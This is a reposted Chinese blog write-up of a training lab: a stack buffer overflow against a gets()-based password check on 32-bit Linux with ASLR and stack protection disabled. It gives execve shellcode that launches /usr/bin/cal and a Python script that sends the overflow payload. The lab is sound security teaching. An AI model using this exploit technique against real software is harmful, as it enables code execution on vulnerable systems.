記一次棧溢出漏洞利用實驗


公司培訓課程Writing Secure Code的作業是自己實現一次棧溢出攻擊,花了一個周六時間算是完成了,同時也在這里記錄下:

當然現代編譯器和操作系統其實已經可以很好應對棧溢出這種攻擊了,我所做的實驗更多的是學習性質。

1. 實驗環境

a) 我是在Linux i686 32位環境下完成這次作業的,具體系統信息:Linux 2.6.32-431.el6.i686 #1 SMP Fri Nov 22 00:26:36 UTC 2013 i686 i686 i386 GNU/Linux

b) 編譯使用的GCC版本是gcc version 4.9.1 20140922 (Red Hat 4.9.1-10) (GCC)

c) 為了完成棧溢出的任務關閉了編譯和運行時的一些選項,主要有:

  1. i. 關閉Linux地址隨機化(ASLR):echo 0 > /proc/sys/kernel/randomize_va_space

    ii. 關閉棧保護: -fno-stack-protector

    iii. 開啟棧可執行: -z execstack

2. 實驗過程

a) 反匯編二進制文件並進行觀察

Dump of assembler code for function IsPasswordOK:

   0x0804848b <+0>:     push   %ebp

   0x0804848c <+1>:     mov    %esp,%ebp

   0x0804848e <+3>:     sub    $0x18,%esp

   0x08048491 <+6>:     sub    $0xc,%esp

   0x08048494 <+9>:     lea    -0x14(%ebp),%eax

   0x08048497 <+12>:    push   %eax

   0x08048498 <+13>:    call   0x8048340 <gets@plt>

   0x0804849d <+18>:    add    $0x10,%esp

   0x080484a0 <+21>:    sub    $0x8,%esp

   0x080484a3 <+24>:    push   $0x80485b4

   0x080484a8 <+29>:    lea    -0x14(%ebp),%eax

   0x080484ab <+32>:    push   %eax

   0x080484ac <+33>:    call   0x8048330 <strcmp@plt>

   0x080484b1 <+38>:    add    $0x10,%esp

   0x080484b4 <+41>:    test   %eax,%eax

   0x080484b6 <+43>:    sete   %al

   0x080484b9 <+46>:    leave

   0x080484ba <+47>:    ret

End of assembler dump.

可以看到在IsPasswordOK函數里面先后執行了ebp壓棧,然后是用當前esp更新ebp,之后分配局部變量空間等操作。其stack的結構大致如下:

 

 

 

其中linux棧從上往下地址遞減,我們通過password數組溢出從而覆蓋高地址的eip對其操作進行控制。

b) Shellcode 編寫

由於最終我們需要執行外部程序實現攻擊,我們首先需要一段簡短的linux shellcode。

由於我的linux系統里沒有計算器(calculator)程序,我使用日歷(cal)程序作為替代。

Shellcode的構造過程參考:https://www.cnblogs.com/lsgxeva/p/10794331.html

我編寫了如下匯編代碼:

Section .text

 

global _start

 

_start:

        xor eax, eax ;

        push eax     ;

 

        push 0x6c61632f ;字符串參數‘/usr/bin/cal’入棧

        push 0x6e69622f

        push 0x7273752f

 

        mov ebx, esp;

 

        push eax

        mov edx, esp;

 

        push ebx

        mov ecx, esp;

 

        mov al, 11

            int 0x80  ;系統調用

  

主要思路就是把相應的參數傳給寄存器或者壓棧,然后通過linux int80系統調用,通過execve函數啟動/usr/bin/cal程序。

寫好匯編代碼之后使用nasm編譯成二進制程序,然后通過shellcode提取程序提取出來即可,最后可用的shellcode為:

"\x31\xc0\x50\x68\x2f\x63\x61\x6c\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

一共30個字節。

 

 

c) 觀察gdb調試程序isPasswordOK及其core dump文件

根據相關資料,gdb調試過程中的內存地址和實際運行中的並不一定相同。首先通過gdb調試獲得stack內存分配的規律:

 

 

 

從調試中我發現gdb中,password緩沖區開始的地址總是0xbffff164.

通過對IsPasswordOK函數stack空間分配過程的逐斷點觀察:

Dump of assembler code for function IsPasswordOK:

   0x0804848b <+0>: push   %ebp

   0x0804848c <+1>: mov    %esp,%ebp

   0x0804848e <+3>: sub    $0x18,%esp

   0x08048491 <+6>: sub    $0xc,%esp

   0x08048494 <+9>: lea    -0x14(%ebp),%eax

   0x08048497 <+12>: push   %eax

   0x08048498 <+13>: call   0x8048340 <gets@plt>

   0x0804849d <+18>: add    $0x10,%esp

   0x080484a0 <+21>: sub    $0x8,%esp

   0x080484a3 <+24>: push   $0x80485b4

   0x080484a8 <+29>: lea    -0x14(%ebp),%eax

   0x080484ab <+32>: push   %eax

   0x080484ac <+33>: call   0x8048330 <strcmp@plt>

   0x080484b1 <+38>: add    $0x10,%esp

   0x080484b4 <+41>: test   %eax,%eax

   0x080484b6 <+43>: sete   %al

   0x080484b9 <+46>: leave

   0x080484ba <+47>: ret

End of assembler dump.

(gdb) b *0x0804848c

Breakpoint 1 at 0x804848c: file isPasswordOK.c, line 4.

(gdb) b *0x0804848e

Breakpoint 2 at 0x804848e: file isPasswordOK.c, line 4.

(gdb) b *0x08048491

Breakpoint 3 at 0x8048491: file isPasswordOK.c, line 7.

(gdb) b *0x08048494

Breakpoint 4 at 0x8048494: file isPasswordOK.c, line 7.

(gdb) r

Starting program: /root/share/StackOverflow/isPasswordOK

Enter password:

 

Breakpoint 1, 0x0804848c in IsPasswordOK () at isPasswordOK.c:4

4 bool IsPasswordOK(void){

Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6.i686

(gdb) i r

eax            0x10 16

ecx            0x3db4e0 4044000

edx            0x3dc340 4047680

ebx            0x3daff4 4042740

esp            0xbffff178 0xbffff178

ebp            0xbffff198 0xbffff198

 (gdb) c

Continuing.

 

Breakpoint 2, 0x0804848e in IsPasswordOK () at isPasswordOK.c:4

4 bool IsPasswordOK(void){

(gdb) i r esp

esp            0xbffff178 0xbffff178

(gdb) c

Continuing.

 

Breakpoint 3, IsPasswordOK () at isPasswordOK.c:7

7 gets(Password);

(gdb) i r esp

esp            0xbffff160 0xbffff160

 

可以發現stack中緩沖區從0xbffff160開始一直到0xbffff178,而上面說過password數組則從0xbffff164地址開始,0xbffff178再往上就是ebp和eip了。

 d)core dump中觀察實際程序運行時的地址

首先打開linux的core dump size開關:ulimit -f unlimit.

在運行時多輸入一些字符使得程序崩潰產生core.***文件。

Gdb調試該文件,並定位到我們輸入的字符處(即password數組):

 

 

 

可以看到實際運行時password數組起始於0xbffff194

相應的通過計算,運行時eip位於0xbffff194 + 20 + 4=0xbffff1ac

我們需要填充24的字節,然后填充eip。而eip將指向shellcode的起始地址。



e) 輸入數據布局

Eip需要指向我們的shellcode,考慮到shellcode有30個字節長度,我選擇把shellcode直接放置在eip的后面,即eip+4  eip+34這個位置。

於是eip是處需要填入的地址即為0xbffff1ac + 4=0xbffff1b0.

 

輸入數據布局為:填充數據(24字節)+ eip(0xbffff1b0)+ shellcode(30字節)

 

f) 輸入與實踐

在實際輸入過程中,由於很多二進制字符不支持在shell界面直接輸入,經過文本編輯器打開后經常會變成塊狀亂碼,無法輸入或者輸入之后與原先值不一致。

經過一番摸索,我選擇使用python的subprocess模塊模擬輸入,這樣就能准確無誤地向程序動態輸入二進制數據,具體代碼如下:

import subprocess

 
shellcode='\x31\xc0\x50\x68\x2f\x63\x61\x6c\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'


fillbytes= 'a'* 24

ret_eip = '\xb0\xf1\xff\xbf'

fill = fillbytes+ ret_eip + shellcode

obj = subprocess.Popen(["./isPasswordOK"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)


obj.stdin.write(fill)

out,err = obj.communicate()

print(out)

  

 

輸入數據由3部分拼接而成, 最后的輸出結果如下:

 

 

 

至此整個攻擊過程完成了,cal程序被成功調用

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM